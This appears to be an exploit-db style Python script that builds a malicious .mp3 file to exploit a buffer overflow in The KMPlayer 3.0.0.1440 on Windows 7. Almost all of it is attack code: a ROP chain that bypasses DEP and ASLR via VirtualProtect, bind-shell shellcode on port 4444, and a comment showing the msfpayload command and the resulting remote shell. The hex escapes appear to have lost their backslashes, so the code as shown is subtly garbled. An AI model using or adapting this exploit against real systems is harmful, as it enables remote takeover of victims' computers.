#!/usr/bin/python
# Exploit Title: The KMPlayer 3.0.0.1440 .mp3 Buffer Overflow Exploit (Win7 + ASLR bypass)
# Date: Jun 10th, 2011
# Author(s): 
# 	dookie and ronin (initial XPSP3 DEP bypass PoC)
# 	xsploitedsec <xsploitedsecurity[at]gmail[dot]com> (Win7 + ASLR mod)
# Software Link: http://download.cnet.com/The-KMPlayer/3000-13632_4-10659939.html
# Tested On: Windows7 x64 Ultimate SP1 Eng
#
# References:
# http://www.exploit-db.com/exploits/17364/
# https://www.corelan.be/index.php/2010/06/16/exploit-writing-tutorial-part-10-chaining-dep-with-rop-the-rubikstm-cube/
# Video of this PoC in action: http://www.youtube.com/watch?v=jAHJveGiCfI
#
# Shouts/Thanks: edb-team, corelanc0d3r/corelan team, dookie2000ca, kAoTiX, deca, MaX
# "When the going gets tough, the tough get going."
# Have fun!

import os

evilfile = "km_pwn_aslr.mp3"

head = "x77x44x37x03x00x00x00x00x1Fx76x54x49x54x32x00x00x13"
"x16x00x00x00xD6x6Dx61x73x68x69x6Ex67x20x54x68x65x20x4Fx70"
"x70xFAx6Ex52xCCx74x86x41x4Cx42x00x00x00x15x00x00x00xE7x65"
"xE1x65x6Ex64x20x4Fx66x20x54x68x65x20x42x6Cx61x63x6Bx20xE3"
"x68x61x77xEFx72x6Dx61x54x52x13x4Bx70x00x00x3Ex00x00x00x34"
"x8CxA5x45x52x73x00x00x05x00x00xD2x32xDCx30x39x54x43x4Fx4E"
"x00x00x00x0Cx00x00x00x1Ax50x79x63x16x65x64x65x6Cx69x9Bx65"
"x60x69x4Dx81x00x00x3Cx00x32x00xECx6Ex67xCDx55x50x45x54x45"
"x4Ex43x63x00x00xEBx00x00x70x4Cx61x6Dx65x20x33x2Ex7Ax37x54"
"x4Cx41x4Ex00x96x00x08x00x00x00x45x79x67x6Fx69x73x68x50x7C"
"x49x56x00x99xDBx29x00x00x57x4Dx3Cx4Dx54xDBx69x61x43x6Cx61"
"x73x85x53x65xDBx6FxE1x64x61x72x79x68x44xF6x00x00x00x00x00"
"x00x00x00x00x00xAEx00x00x00x00x00x50x52x49xCFx00x00xE6x27"
"x00x00x57x4Dx2Fx4Dx65xE6x69x61x43x6Cx61x73x73x50x32x69xC0"
"x61x72x79xC0x44x00xBCx51x4Dx30x23xE3xE2x4Bx86xA1x48xA2xB0"
"x28x44x1Ex50x52x49x56x00x00x00xAAx0Bx00x57x9Ax2Fx50x72x6F"
"x1Ex69x50xA1x72x00xC3x00x4Dx00x47x79x00x00x50x52x49x56x00"
"x00x00x1Fx00x00x57x6Cx2Fx57x4Dx4Ex6Fx6Ex74x65x6ExF7x49x44"
"x00x03x6Ax21x12x66x52x4Dx49x93x83xD6x39xB3x6Ex1Ax76xA6x52"
"x49x56xC2x20x00x57x00x00xA2x4Dx2Fx57x59x43x25x6Cx6Cx65x0C"
"x74xE2x8Ex6Ex1Fx44x01xECx4BxF3xABxEBx1CxD1x4CxBFx29x8Fx8D"
"xC3x7DxA2x74x50x52x49xC3x00x4Ex00x27x83x00x57x4Dx2Fx57x4D"
"x43x6Fx6Cx6CxC6x63x74x69x6Fx6Ex47x72x6Fx75x70x49x44x00xEC"
"xFAxF3xABxECx1CxD1x4Cx90x22x8Fx8DxC3x06xA2x0Fx54x50x55x42"
"x00x00x38x08x00x50x00x48x59xEEx6Dx65x67x61x50x1Fx49x56x00"
"x00x00x23x00x00x57x4Dx2Fx9Bx6ExB4x71x75xE0x46x69x6Cx65x49"
"x64x65x6Ex74x69x66x69x65xEBx00x41x00x4Dx00x47x00x61x00x0B"
"x00x69x00x64x00x3Dx00x52x00x20x00x20x00x31x00x17x00x37x00"
"x32x00x34x00x37x00x34xFDxB5x00x55x00x4Dx00x47xCEx70x62x5F"
"xABx69x2Fx64x00x3Dx00x50x00x20x00x20x00x20xA6x34x00x37x6C"
"x35x0Ex32x00x39x00x30x00xCExBBx41x00x2Ax00x47x00x74x80x5F"
"x00x71x00x64x00x3Dx00x3Ex04x7Cx00x31x00x37x00x36x00xBCx00"
"x31x00xA7xC0x32x8Ex33x00x00x00x54x50x45x32x00x7Cx50x12x00"
"x17xAEx49x6Ex66x5ExCBx74x65xACx20x4Dx75x73x68x72x6Fx6Fx6D"
"x54x43x4Fx4Dx40x00x00x23x00x00xA0xCBx6Dx69x74x64xD0x10x75"
"x76x49x65x76x9FxCBx96x75x76x1Ex65x76x61x6Ex69x2Fx45x72xBC"
"x7Ax20x45x69xB5x65x6Ex54x50xF8x31x00x00x00x25x00x00x47x49"
"x6Ex66x65x63x74x65x64x20x4Dx75x1Ex68x72x6Fx6Dx6Fx56x20x20"
"x73x4Ax20x6Ex6Fx9Cx61x61x68x20x6Ex61x7Ex69x76x00xDBx00x00"
"x00x00x00x00x00x00x00x82x00x24x00x00x00x00x00x00x00x75x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00xA2x00x00x9Dx00"
"x00x00x00x7FxEBx79x82x00x75x00x00x00xDFx00x00x00x00x00x93"
"x00x00x00x00xF4x00x00x00x00x00x00x00x00x00x00x00x00x52x00"
"x00xCAx00x00x00x00xE5x00x00xEAxAFx00xFEx00x00x00x00x00x00"
"x00x00x00x4Dx00x00x00x00x00x00x15x00xB3x00x00x00xC4x50x00"
"x00x20x00x00x00x00x00x00x00x00xEAx00x00x00x00x66x00x00x00"
"x00x00x00x00x00x00x00x00x00x78x00x00x2Fx00x10x00x00x00x00"
"x00xC8x00x00x00x00x00x00x00x00xE4x00x00x00x00x00x2Cx7Ex00"
"x00x00x00x00x00x56x00x00x00x00x00x00x6Fx00x00xECx00x00x00"
"x40x00x83x57x00x88x00x00x00x11x00x81x00x00x00x00xBCx00x00"
"x00x00"

#xs@ArchBook ~ $ msfpayload windows/shell_bind_tcp LPORT=4444 R|msfencode -b 'x00x0ax0d' -t c
#[*] x86/shikata_ga_nai succeeded with size 368 (iteration=1)
#
#xs@ArchBook ~ $ ncat 10.0.1.7 4444
#Microsoft Windows [Version 6.1.7601]
#Copyright (c) 2009 Microsoft Corporation.  All rights reserved.
#
#C:Program Files (x86)The KMPlayer>

shellcode = (
"xb8x72x95x89x50xddxc1xd9x74x24xf4x5bx33xc9xb1"
"x56x31x43x13x83xc3x04x03x43x7dx77x7cxacx69xfe"
"x7fx4dx69x61x09xa8x58xb3x6dxb8xc8x03xe5xecxe0"
"xe8xabx04x73x9cx63x2ax34x2bx52x05xc5x9dx5axc9"
"x05xbfx26x10x59x1fx16xdbxacx5ex5fx06x5ex32x08"
"x4cxccxa3x3dx10xccxc2x91x1ex6cxbdx94xe1x18x77"
"x96x31xb0x0cxd0xa9xbbx4bxc1xc8x68x88x3dx82x05"
"x7bxb5x15xcfxb5x36x24x2fx19x09x88xa2x63x4dx2f"
"x5cx16xa5x53xe1x21x7ex29x3dxa7x63x89xb6x1fx40"
"x2bx1bxf9x03x27xd0x8dx4cx24xe7x42xe7x50x6cx65"
"x28xd1x36x42xecxb9xedxebxb5x67x40x13xa5xc0x3d"
"xb1xadxe3x2axc3xefx6bx9fxfex0fx6cxb7x89x7cx5e"
"x18x22xebxd2xd1xecxecx15xc8x49x62xe8xf2xa9xaa"
"x2fxa6xf9xc4x86xc6x91x14x26x13x35x45x88xcbxf6"
"x35x68xbbx9ex5fx67xe4xbfx5fxadx93x87x91x95xf0"
"x6fxd0x29xe7x33x5dxcfx6dxdcx0bx47x19x1ex68x50"
"xbex61x5axccx17xf6xd2x1axafxf9xe2x08x9cx56x4a"
"xdbx56xb5x4fxfax69x90xe7x75x52x73x7dxe8x11xe5"
"x82x21xc1x86x11xaex11xc0x09x79x46x85xfcx70x02"
"x3bxa6x2ax30xc6x3ex14xf0x1dx83x9bxf9xd0xbfxbf"
"xe9x2cx3fx84x5dxe1x16x52x0bx47xc1x14xe5x11xbe"
"xfex61xe7x8cxc0xf7xe8xd8xb6x17x58xb5x8ex28x55"
"x51x07x51x8bxc1xe8x88x0fxf1xa2x90x26x9ax6ax41"
"x7bxc7x8cxbcxb8xfex0ex34x41x05x0ex3dx44x41x88"
"xaex34xdax7dxd0xebxdbx57"
)

# A few notes:
# All DEP/ASLR bypass ROP code is from PProcDLL.dll (and assumes no ASLR on this module).
# 1.
# 	Calls to VirtualProtect (from pprocdll.dll) are found at:
# 	0x1014717B : CALL DWORD PTR DS:[<&KERNEL32.VirtualProtect>]
# 	0x101471F4 : CALL DWORD PTR DS:[<&KERNEL32.VirtualProtect>]
# 2.
#	A kernel32 pointer is already sitting in ECX after the crash (on my test PC).
#
#	For the sake of challenge and learning. I use ROP/static offsets to dynamically retrieve a kernel32 pointer
#	from the stack/get it into a register. I then increase this value until it points at &Kernel32.VirtualProtect().
#	The rest is just basic ROP/DEP (using the VirtualProtect() method).

eip_offset = 4095
#kernel32 ptr offset = initial ESP-288
#virtualprotect ptr offset = kernel32 ptr + 1075

junk = "x41" * eip_offset

rop_align = "x41x41x41x41"

################################# Begin ROP chain #################################

########## Redirect execution back to stack ##########
rop = "x17xBFx0Ex10"						#0x100EBF17 :  # ADD ESP,20 # RETN 4
rop += rop_align * 9
########## Place stack pointer in EAX ##########
rop += "x7FxCBx0Fx10"						#0x100FCB7F :  # PUSH ESP # POP EDI # POP ESI # POP EBP # POP EBX # ADD ESP,2C # RETN
rop += rop_align	* 15
rop += "xC8x1Bx12x10"						#0x10121BC8 :  # MOV EAX,EDI # POP ESI # RETN
rop += rop_align
########## Jump over VirtualProtect() params ##########
rop += "x56x75x13x10"						#0x10137556 :  # ADD ESP,20 # RETN
########## VirtualProtect call placeholder ##########
rop += "x42x45x45x46"						#&Kernel32.VirtualProtect() placeholder - "BEEF"
rop += "WWWW"   								#Return address param placeholder
rop += "XXXX"          							#lpAddress param placeholder
rop += "YYYY"          							#Size param placeholder
rop += "ZZZZ"          							#flNewProtect param placeholder
rop += "x60xFCx18x10" 						#lpflOldProtect param placeholder (Writeable Address) - 0x1018FC60 {PAGE_WRITECOPY}
rop += rop_align	* 2
########## Grab kernel32 pointer from the stack, place it in EAX ##########
rop += "x5Dx1Cx12x10" * 6 					#0x10121C5D :  # SUB EAX,30 # RETN
rop += "xF6xBCx11x10" 						#0x1011BCF6 :  # MOV EAX,DWORD PTR DS:[EAX] # POP ESI # RETN 
rop += rop_align
########## EAX = kernel pointer, now retrieve pointer to VirtualProtect() ##########
rop += ("x76xE5x12x10" + rop_align) * 4		#0x1012E576 :  # ADD EAX,100 # POP EBP # RETN
rop += "x40xD6x12x10"						#0x1012D640 :  # ADD EAX,20 # RETN
rop += "xB1xB6x11x10"						#0x1011B6B1 :  # ADD EAX,0C # RETN
rop += "xD0x64x03x10"						#0x100364D0 :  # ADD EAX,8 # RETN
rop += "x33x29x0Ex10"						#0x100E2933 :  # DEC EAX # RETN
rop += "x01x2Bx0Dx10"						#0x100D2B01 :  # MOV ECX,EAX # RETN
rop += "xC8x1Bx12x10"						#0x10121BC8 :  # MOV EAX,EDI # POP ESI # RETN
########## At this point, ECX = &kernel32.VirtualProtect, EDI/EAX = initial stack pointer ########## 

########## Make EAX point to address of VirtualProtect() placeholder ##########
rop += "xB1xB6x11x10" * 5					#0x1011B6B1 :  # ADD EAX,0C # RETN
rop += "xD0x64x03x10" * 2					#0x100364D0 :  # ADD EAX,8 # RETN
rop += "xD5xCEx11x10" * 4					#0x1011CED5 :  # INC EAX # RETN
########## Write VirtualProtect pointer to stack ##########
rop += "x41x2Fx11x10"						#0x10112F41 :  # MOV DWORD PTR DS:[EAX],ECX # POP ESI # RETN 4
rop += rop_align
########## Make ECX point to address of nops / shellcode ##########
rop += "xC8x1Bx12x10"						#0x10121BC8 :  # MOV EAX,EDI # POP ESI # RETN
rop += rop_align * 2
rop += ("x76xE5x12x10" + rop_align) * 3		#0x1012E576 :  # ADD EAX,100 # POP EBP # RETN
rop += "x01x2Bx0Dx10"						#0x100D2B01 :  # MOV ECX,EAX # RETN
########## Make EAX point to return address placeholder ##########
rop += "xC8x1Bx12x10"						#0x10121BC8 :  # MOV EAX,EDI # POP ESI # RETN
rop += rop_align
rop += "xB1xB6x11x10" * 6					#0x1011B6B1 :  # ADD EAX,0C # RETN
########## Write return address to stack ##########
rop += "x41x2Fx11x10"						#0x10112F41 :  # MOV DWORD PTR DS:[EAX],ECX # POP ESI # RETN 4
rop += rop_align
########## Make EAX point to lpAddress placeholder ##########
rop += "xC8x1Bx12x10"						#0x10121BC8 :  # MOV EAX,EDI # POP ESI # RETN
rop += rop_align
rop += "xB1xB6x11x10" * 7					#0x1011B6B1 :  # ADD EAX,0C # RETN
rop += "xD5xCEx11x10" * 4					#0x1011CED5 :  # INC EAX # RETN
########## Write lpAddress to stack ##########
rop += "x41x2Fx11x10"						#0x10112F41 :  # MOV DWORD PTR DS:[EAX],ECX # POP ESI # RETN 4
rop += rop_align
########## Save address of VirtualProtect call placeholder to EBX (for later) ##########
rop += "x77x78x12x10"						#0x10127877 :  # SUB EAX,7 # POP ESI # RETN
rop += rop_align * 2
rop += "x33x29x0Ex10"						#0x100E2933 :  # DEC EAX # RETN
rop += "x81x96x03x10"						#0x10039681 :  # XCHG EAX,EBX # ADD AL,10 # RETN 	[Module : PProcDLL.dll]  ** 
########## Make EAX point to Size param placeholder ##########
rop += "xC8x1Bx12x10"						#0x10121BC8 :  # MOV EAX,EDI # POP ESI # RETN
rop += rop_align
rop += "xB1xB6x11x10" * 6					#0x1011B6B1 :  # ADD EAX,0C # RETN
rop += "xD0x64x03x10"						#0x100364D0 :  # ADD EAX,8 # RETN
########## Craft Size parameter into EAX (Adjust to needed/desired size) ##########
rop += "x01x2Bx0Dx10"						#0x100D2B01 :  # MOV ECX,EAX # RETN
rop += "x2Cx2Ax0Dx10"						#0x100D2A2C :  # XOR EAX,EAX # RETN
rop += ("x76xE5x12x10" + rop_align) * 10	#0x1012E576 :  # ADD EAX,100 # POP EBP # RETN
########## Write Size param to stack ##########
rop += "x60x83x02x10"						#0x10028360 :  # MOV DWORD PTR DS:[ECX],EAX # RETN
########## Make EAX point to address of flNewProtect placeholder ##########
rop += "xD2x9Fx10x10"						#0x10109FD2 :  # MOV EAX,ECX # RETN
rop += "xD0x64x03x10"						#0x100364D0 :  # ADD EAX,8 # RETN
rop += "x33x29x0Ex10" * 4					#0x100E2933 :  # DEC EAX # RETN
rop += "x01x2Bx0Dx10"						#0x100D2B01 :  # MOV ECX,EAX # RETN
########## Put flNewProtect param (0x00000040) in EAX ##########
rop += "x2Cx2Ax0Dx10"						#0x100D2A2C :  # XOR EAX,EAX # RETN
rop += "x68xE5x12x10"						#0x1012E568 :  # ADD EAX,40 # POP EBP # RETN
rop += rop_align
########## Write flNewProtect param to stack ##########
rop += "x60x83x02x10"						#0x10028360 :  # MOV DWORD PTR DS:[ECX],EAX # RETN

########## Everything is ready to go, Get EBX back into ESP and RETN ##########
rop += "xD8xA3x10x10"						#0x10039681 :  # XCHG EAX,EBX # ADD AL,10 # RETN
rop += rop_align
rop += "x99x09x11x10"						#0x10110999 :  # XCHG EAX,ESP # RETN
################################# End ROP chain #################################

nops = "x90" * 300
padding = "D" * (7000 - len(head + junk + rop + nops + shellcode))

sploit = (head + junk + rop + nops + shellcode + padding)

crashy = open(evilfile,"w")
crashy.write(sploit)
crashy.close()